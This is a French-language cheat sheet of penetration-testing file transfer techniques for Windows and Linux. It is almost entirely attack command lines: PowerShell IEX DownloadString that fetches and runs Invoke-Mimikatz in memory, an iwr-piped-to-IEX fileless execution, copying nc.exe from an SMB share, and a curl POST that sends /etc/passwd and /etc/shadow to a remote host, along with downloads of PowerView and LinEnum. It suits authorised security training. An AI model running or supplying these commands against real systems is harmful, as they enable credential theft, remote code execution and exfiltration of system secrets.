Méthodes de transfert de fichiers Windows
Méthode PowerShell DownloadFile
Téléchargement de fichier
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PowerShell DownloadString – Méthode sans fichier
Comme nous l’avons vu précédemment, les attaques sans fichier utilisent certaines fonctions du système d’exploitation pour télécharger la charge utile et l’exécuter directement. PowerShell peut également être utilisé pour réaliser des attaques sans fichier. Au lieu de télécharger un script PowerShell sur le disque, nous pouvons l’exécuter directement en mémoire à l’aide de l’ applet de commande Invoke-Expression ou de l’alias IEX.
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
À partir de PowerShell 3.0, l’ applet de commande Invoke-WebRequest est également disponible, mais son téléchargement est sensiblement plus lent. Vous pouvez utiliser les alias iwr, curl et wget au lieu du Invoke-WebRequest .
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
Erreurs courantes avec PowerShell
Il peut arriver que la configuration du premier lancement d’Internet Explorer n’ait pas été effectuée, ce qui empêche le téléchargement.
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
Copier un fichier depuis le serveur SMB
copy \\192.168.220.133\share\nc.exe
Téléchargements FTP
Script PowerShell pour télécharger un fichier sur le serveur de téléchargement Python
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
Méthodes de transfert de fichiers Linux
Linux est un système d’exploitation polyvalent, doté de nombreux outils permettant de transférer des fichiers. Comprendre les méthodes de transfert de fichiers sous Linux peut aider les attaquants et les défenseurs à améliorer leurs compétences en matière d’attaques réseau et de prévention des attaques sophistiquées.
Téléchargements Web avec Wget et cURL
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Linux - Téléchargement de fichiers avec SCP
scp plaintext@192.168.49.128:/root/myroot.txt .
Linux - Télécharger plusieurs fichiers
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
Transfert de fichiers avec du code
Il est courant de trouver différents langages de programmation installés sur les machines ciblées. Des langages tels que Python, PHP, Perl et Ruby sont couramment disponibles sur les distributions Linux, mais peuvent également être installés sur Windows, bien que ce soit beaucoup plus rare.
Python
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'